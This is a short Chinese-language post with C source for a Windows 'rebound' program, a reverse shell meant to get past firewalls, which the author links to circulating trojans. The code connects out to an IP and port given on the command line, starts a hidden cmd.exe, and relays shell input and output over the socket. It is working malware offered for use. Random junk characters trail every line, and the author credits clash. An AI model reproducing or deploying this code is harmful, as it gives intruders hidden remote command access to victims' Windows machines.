这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 vRm.#+Td
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/* ============================== _sU| <1
Rebound port in Windows NT l V[d`%(
By wind,2006/7 {3RY4HVT?
===============================*/ sS$"6
#include w#v8a$tT
#include Z
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#pragma comment(lib,"wsock32.lib") %vPs38Fks
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void OutputShell(); =*Z=My}3~
SOCKET sClient; p"9a`/
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; yRQR@
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void main(int argc,char **argv) i?R+Ul`Q
{ xpo<1Sr>S
WSADATA stWsaData; =
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int nRet; RhM]OJd'
SOCKADDR_IN stSaiClient,stSaiServer; S1Q2<<[
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if(argc != 3) : `D[0
{ Eq>3|(UT
printf("Useage:\n\rRebound DestIP DestPort\n"); 57/9i>
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return; t7 |uZHKK
} Vl;GQe
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WSAStartup(MAKEWORD(2,2),&stWsaData); _%G)Uz{3
# 4E@y<l$
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); "bFt+N
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stSaiClient.sin_family = AF_INET; %mR roR6
stSaiClient.sin_port = htons(0); 5IeF |#g
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 8y;W+I(71
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) *hI
{ A|sTnhp~
printf("Bind Socket Failed!\n");
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return; ZM oV!lu
} %1Gat6V<'
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stSaiServer.sin_family = AF_INET; a\an
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ..yuEA
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); V"n0"\k,
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) O!+LM{>
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{ @DgJxY|
printf("Connect Error!"); 6Q]c]cCu
return; a`5ODW+
} [u[`!L=
OutputShell(); f$a%&X6"-
} k)D:lpxv
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void OutputShell()
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{ jbQ2G|:Q
char szBuff[1024]; %MyA;{-F6
SECURITY_ATTRIBUTES stSecurityAttributes; @MIBW)P<
OSVERSIONINFO stOsversionInfo; jRN*W2]V
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; S -j<O&h~C
STARTUPINFO stStartupInfo; .uzg2Kd_
char *szShell; :5X1Tr=A
PROCESS_INFORMATION stProcessInformation; 8U!;
unsigned long lBytesRead; Hl"rGA>
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); iq$edq[
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ?c)PBJ+]
stSecurityAttributes.lpSecurityDescriptor = 0; V6l*!R
stSecurityAttributes.bInheritHandle = TRUE; Ojj:YLlY>
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); @/}{Trmg/
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); l!f/0Rx5
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); zHi+I7
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; d=%:rLm$
stStartupInfo.wShowWindow = SW_HIDE; X%"P0P
stStartupInfo.hStdInput = hReadPipe; uG2(NwOL
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; o)'u%m
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GetVersionEx(&stOsversionInfo); y'?|#%D
/ G$8 j$
switch(stOsversionInfo.dwPlatformId) J<x?bIetj
{ U,"lOG'
case 1: "?_adot5v
szShell = "command.com"; $Z)Dvy|
break; XQ.czj
default: 8cn)ox|J[
szShell = "cmd.exe"; .+3= H@8h
break; |+Z,
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} Ms5m.lX
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); X1U7$/t
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send(sClient,szMsg,77,0); Lv@JfN"O
while(1) F/9]{H
{ b_Ns
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); -jsNAQ
if(lBytesRead) fLK*rK^{"
{ vQ=W<>1
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); \a+F/I$hwa
send(sClient,szBuff,lBytesRead,0); DX.u"&Mm
} 7"F
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else \dj&4u3
{ AfKJaDKf
lBytesRead=recv(sClient,szBuff,1024,0); lJ@2N$w
if(lBytesRead<=0) break; 'U]= T<
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); LXj2gsURu%
} >nmby|XtW
} E",s]
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return; <{m!.9g9
}